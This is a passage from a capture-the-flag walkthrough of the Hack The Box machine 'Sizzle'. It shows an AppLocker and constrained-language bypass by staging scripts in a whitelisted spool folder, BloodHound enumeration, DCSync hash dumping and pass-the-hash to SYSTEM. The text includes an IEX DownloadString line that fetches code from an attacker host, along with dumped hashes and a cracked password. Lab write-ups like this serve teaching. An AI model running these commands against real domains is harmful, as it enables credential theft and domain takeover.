    + CategoryInfo          : NotSpecified: (IEX : You must ...e '-' operator.:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
At line:1 char:8
+ & { IEX <<<<  (New-Object Net.WebClient).DownloadString('http://10.10.16.5/powerview.ps1'); Get-
DomainObjectAcl -ResolveGUIDs }
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : ExpectedValueExpression,Microsoft.PowerShell.Commands.InvokeExpress 
   ionCommand
 
Get-DomainObjectAcl : The term 'Get-DomainObjectAcl' is not recognized as the name of a cmdlet, fu
nction, script file, or operable program. Check the spelling of the name, or if a path was include
d, verify that the path is correct and try again.
At line:1 char:106
+ & { IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.5/powerview.ps1'); Get-Domain
ObjectAcl <<<<  -ResolveGUIDs }
    + CategoryInfo          : ObjectNotFound: (Get-DomainObjectAcl:String) [], CommandNotFoundExc 
   eption
    + FullyQualifiedErrorId : CommandNotFoundException

```

**Constrained Language Mode (CLM)** is active. AppLocker is enforcing script execution policy. Multiple approaches failed:

| Method                                               | Result                                              |
| ---------------------------------------------------- | --------------------------------------------------- |
| `evil-winrm` upload                                  | CLM blocks internal path resolution methods         |
| `certutil -urlcache -f http://...`                   | **Blocked by AV** — "malicious content"             |
| `powershell.exe -version 2 -Command "& { IEX ... }"` | IEX parse error in PS2                              |
| `Import-Module ./pv.ps1`                             | "Not allowed in ConstrainedLanguage mode"           |
| `Set-Content` launcher + PS2 `-File`                 | Parse errors from special chars in the value string |

#### What worked — SMB staging + `copy`

AppLocker's whitelist includes `C:\Windows\System32\spool\drivers\color\`. Files copied there via the native `copy` command can be loaded by PowerShell v2.

**Stage PowerView via SMB using amanda's write access:**

```bash
┌──(kali㉿kali)-[~/Documents/sizzle]
└─$ smbclient //10.129.8.195/"Department Shares" -U 'htb.local/amanda%Ashare1972'
Try "help" to get a list of possible commands.

smb: \> cd Users

smb: \Users\amanda_adm\> cd ../public

smb: \Users\public\> put powerview.ps1
putting file powerview.ps1 as \Users\public\powerview.ps1 (195.2 kB/s) (average 195.2 kB/s)
```

**Copy from the SMB share to the whitelisted path via WinRM:**

```bash
*Evil-WinRM* PS C:\Department Shares\Users\public> copy "C:\Department Shares\Users\public\powerview.ps1" C:\Users\mrlky.HTB\Documents\powerview.ps1

*Evil-WinRM* PS C:\Department Shares\Users\public> cd C:\Users\mrlky.HTB\Documents

*Evil-WinRM* PS C:\Users\mrlky.HTB\Documents> ls

    Directory: C:\Users\mrlky.HTB\Documents

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        3/25/2026   5:30 PM         913082 powerview.ps1
```

PowerView landed in the whitelisted directory, but executing it via PS2 still failed due to dot-sourcing parse errors and the function not being found after load:

```bash
*Evil-WinRM* PS C:\Users\mrlky.HTB\Documents> copy C:\Users\mrlky.HTB\Documents\powerview.ps1 C:\Windows\System32\spool\drivers\color\pv.ps1

*Evil-WinRM* PS C:\Users\mrlky.HTB\Documents> powershell.exe -version 2 -ExecutionPolicy Bypass -Command "& { . C:\Windows\System32\spool\drivers\color\pv.ps1; Find-InterestingDomainAcl -ResolveGUIDs }"
powershell.exe : - : You must provide a value expression on the right-hand side of the '-' operator.
    + CategoryInfo          : NotSpecified: (- : You must pr...e '-' operator.:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
    + CategoryInfo          : ParserError: (:) [], ParseException
    + FullyQualifiedErrorId : ExpectedValueExpression
 
Find-InterestingDomainAcl : The term 'Find-InterestingDomainAcl' is not recognized as the name of 
a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path
 was included, verify that the path is correct and try again.
At line:1 char:80
+ & { . C:\Windows\System32\spool\drivers\color\pv.ps1; Find-InterestingDomainAcl <<<<  -ResolveGU
IDs }
    + CategoryInfo          : ObjectNotFound: (Find-InterestingDomainAcl:String) [], CommandNotFo 
   undException
    + FullyQualifiedErrorId : CommandNotFoundException
 
*Evil-WinRM* PS C:\Users\mrlky.HTB\Documents> cd C:\Windows\System32\spool\drivers\color\
*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> Import-Module ./pv.ps1
Importing *.ps1 files as modules is not allowed in ConstrainedLanguage mode.
At line:1 char:1
+ Import-Module ./pv.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (:) [Import-Module], InvalidOperationException
    + FullyQualifiedErrorId : Modules_ImportPSFileNotAllowedInConstrainedLanguage,Microsoft.PowerShell.Commands.ImportModuleCommand
*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> "@ { . C:\Windows\System32\spool\drivers\color\pv.ps1; Find-InterestingDomainAcl -ResolveGUIDs }" | Out-File C:\Windows\System32\spool\drivers\color\run.ps1
*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> powershell.exe -version 2 -ExecutionPolicy Bypass -File C:\Windows\System32\spool\drivers\color\run.ps1
powershell.exe : <position> : Unrecognized token in source text.
    + CategoryInfo          : NotSpecified: (<position> : Un...in source text.:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : UnrecognizedToken

```

PowerView was abandoned here. BloodHound handled enumeration instead, and `Invoke-DCSync` (which ran cleanly through the same path) handled the privilege escalation.

***

### 11. BloodHound — DCSync Path

Collect data from the attacker machine using `amanda`'s credentials:

```bash
┌──(kali㉿kali)-[~/Documents/sizzle]
└─$ netexec ldap 10.129.8.195 -d htb.local -u amanda -p 'Ashare1972' --bloodhound -c all --dns-server 10.129.8.195 --dns-tcp
LDAP        10.129.8.195    389    SIZZLE           [*] Windows 10 / Server 2016 Build 14393 (name:SIZZLE) (domain:htb.local) (signing:None) (channel binding:Never) 
LDAP        10.129.8.195    389    SIZZLE           [+] htb.local\amanda:Ashare1972 
LDAP        10.129.8.195    389    SIZZLE           Resolved collection methods: group, localadmin, dcom, rdp, container, session, acl, psremote, objectprops, trusts
LDAP        10.129.8.195    389    SIZZLE           Done in 0M 56S
LDAP        10.129.8.195    389    SIZZLE           Compressing output into /home/kali/.nxc/logs/SIZZLE_10.129.8.195_2026-03-25_180542_bloodhound.zip
```

Output is zipped and saved to `/home/kali/.nxc/logs/`. Import into BloodHound.

**Finding the path:** Select `mrlky` as the start node → click **Outbound Object Control**.

BloodHound shows `MRLKY@HTB.LOCAL` has the following extended rights directly over `HTB.LOCAL`:

<figure><img src="https://228349275-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDwo0QXoFAyplFtxgehnM%2Fuploads%2FfbOJ0h0iQ7WDGs4WJ4dI%2FPasted%20image%2020260326033912.png?alt=media&amp;token=34448855-9011-43c8-b9a4-d4825edd908c" alt="" width="563"><figcaption></figcaption></figure>

* **GetChanges** (`DS-Replication-Get-Changes`)
* **GetChangesAll** (`DS-Replication-Get-Changes-All`)
* **GetChangesInFilteredSet** (`DS-Replication-Get-Changes-In-Filtered-Set`)

These three ACEs together constitute **DCSync** — the ability to pull any credential from the DC by impersonating a replication partner.

***

### 12. DCSync — Dumping Hashes

`Invoke-DCSync.ps1` is sourced from PowerShell Empire:

```bash
┌──(kali㉿kali)-[~]
└─$ cp /usr/share/powershell-empire/empire/server/data/module_source/credentials/Invoke-DCSync.ps1 ~/Documents/sizzle 
```

**Stage via SMB:**

```bash
┌──(kali㉿kali)-[~/Documents/sizzle]
└─$ smbclient //10.129.8.195/"Department Shares" -U 'htb.local/amanda%Ashare1972'
Try "help" to get a list of possible commands.
smb: \> cd Users\public
smb: \Users\public\> put Invoke-DCSync.ps1
putting file Invoke-DCSync.ps1 as \Users\public\Invoke-DCSync.ps1 (321.2 kB/s) (average 321.2 kB/s)
smb: \Users\public\> ls
  .                                   D        0  Wed Mar 25 18:37:54 2026
  ..                                  D        0  Wed Mar 25 18:37:54 2026
  Invoke-DCSync.ps1                   A  1190375  Wed Mar 25 18:37:57 2026
```

**Copy into the AppLocker whitelist via WinRM:**

```bash
*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> copy "C:\Department Shares\Users\public\Invoke-DCSync.ps1" C:\Windows\System32\spool\drivers\color\sync.ps1
```

**Write a launcher and execute via PowerShell v2:**

```bash
*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> Set-Content -Path C:\Windows\System32\spool\drivers\color\run.ps1 -Value ". C:\Windows\System32\spool\drivers\color\sync.ps1; Invoke-DCSync -Domain htb.local -Users Administrator, krbtgt | Format-List"
*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> powershell.exe -version 2 -ExecutionPolicy Bypass -File C:\Windows\System32\spool\drivers\color\run.ps1
powershell.exe : Get-WmiObject : Access denied 
    + CategoryInfo          : NotSpecified: (Get-WmiObject : Access denied :String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
At C:\Windows\System32\spool\drivers\color\sync.ps1:2949 char:24
+     if (((Get-WmiObject <<<<  -Class Win32_Processor).AddressWidth / 8) -ne [System.Runtime.Inte
ropServices.Marshal]::SizeOf([Type][IntPtr]))
    + CategoryInfo          : InvalidOperation: (:) [Get-WmiObject], ManagementException
    + FullyQualifiedErrorId : GetWMIManagementException,Microsoft.PowerShell.Commands.GetWmiObjec 
   tCommand
 
. : Property 'AddressWidth' cannot be found on this object. Make sure that it exists.
At C:\Windows\System32\spool\drivers\color\sync.ps1:2949 char:49
+     if (((Get-WmiObject -Class Win32_Processor). <<<< AddressWidth / 8) -ne [System.Runtime.Inte
ropServices.Marshal]::SizeOf([Type][IntPtr]))
    + CategoryInfo          : InvalidOperation: (.:OperatorToken) [], RuntimeException
    + FullyQualifiedErrorId : PropertyNotFoundStrict
```

The script throws WMI access-denied errors during its architecture check (`Get-WmiObject -Class Win32_Processor`). These are non-fatal — the actual DCSync replication happens over LDAP, not WMI, so the hash dump succeeds regardless:

```
Domain : htb.local
User   : Administrator
ID     : 500
Hash   : f6b7160bfc91823792e0ac3a162c9267

Domain : htb.local
User   : krbtgt
ID     : 502
Hash   : 296ec447eee58283143efbd5d39408c8
```

***

### 13. Pass-the-Hash → Administrator

#### Evil-WinRM — fails (401)

```bash
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i 10.129.8.195 -u Administrator -H f6b7160bfc91823792e0ac3a162c9267
  
Evil-WinRM shell v3.9

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc` for module Reline                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

Error: Connection timeout or error occurred: WinRM::WinRMHTTPTransportError - Unable to parse authorization header. Headers: {"Server"=>"Microsoft-HTTPAPI/2.0", "Date"=>"Wed, 25 Mar 2026 22:51:14 GMT", "Connection"=>"close", "Content-Length"=>"0"}                                                                                                                         
Body:  (401).                                                                                                                                                        
Warning: Cleaning up and exiting...
```

WinRM on this DC rejects NTLM authentication entirely — it only accepts Kerberos or certificate-based auth. Pass-the-Hash over WinRM doesn't work here.

#### psexec.py — works

```bash
┌──(kali㉿kali)-[~]
└─$ psexec.py -hashes :f6b7160bfc91823792e0ac3a162c9267 htb.local/Administrator@10.129.8.195
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on 10.129.8.195.....
[*] Found writable share ADMIN$
[*] Uploading file qkOaDVfA.exe
[*] Opening SVCManager on 10.129.8.195.....
[*] Creating service teVp on 10.129.8.195.....
[*] Starting service teVp.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
549bxxxxxxxxxxxxxxxxxx42b0
```

`psexec.py` operates over SMB (port 445) rather than WinRM. It uploads a service binary to `ADMIN$`, registers it as a temporary service, and executes it — giving a SYSTEM shell. SMB still accepts NTLM on this target.

### 14. Flags

| **user.txt** | `5dc3xxxxxxxxxxxxxxxxx5cad`  |
| ------------ | ---------------------------- |
| **root.txt** | `549bxxxxxxxxxxxxxxxxxx42b0` |

***

### Attack Chain Summary

```
Nmap
  └─ FTP anonymous → empty, rabbit hole
  └─ SMB (guest null session) → Department Shares\Users → username list
       └─ Kerbrute → amanda@htb.local (only valid account)
  └─ Web (ffuf) → /certsrv confirmed ADCS (needs creds)

SCF coercion → Users\Public (only guest-writable dir)
  └─ Responder captures amanda NTLMv2
       └─ John → Ashare1972

Certipy find → ESC4 (SSL template, Authenticated Users = Full Control)
                   ESC8 (Web Enrollment over HTTP — noted, not exploited)
  └─ certipy template → rewrite SSL template
  └─ certipy req -web → cert for mrlky@htb.local
  └─ openssl → mrlky.crt + mrlky.key

evil-winrm -S -c mrlky.crt -k mrlky.key → USER FLAG ✓
  └─ CLM + AppLocker active
       └─ upload blocked (CLM), certutil blocked (AV),
          IEX blocked, Import-Module blocked, PS2 dot-source parse errors
       └─ Workaround: stage via SMB → copy to spool\drivers\color\ (whitelisted)

BloodHound → mrlky → Outbound Object Control → DCSync over HTB.LOCAL

Invoke-DCSync (PowerShell Empire) staged via SMB → whitelisted path
  └─ powershell.exe -version 2 -File run.ps1
  └─ Administrator NT hash: f6b7160bfc91823792e0ac3a162c9267

evil-winrm PTH → 401 (NTLM rejected by WinRM)
psexec.py PTH over SMB → SYSTEM shell → ROOT FLAG ✓
```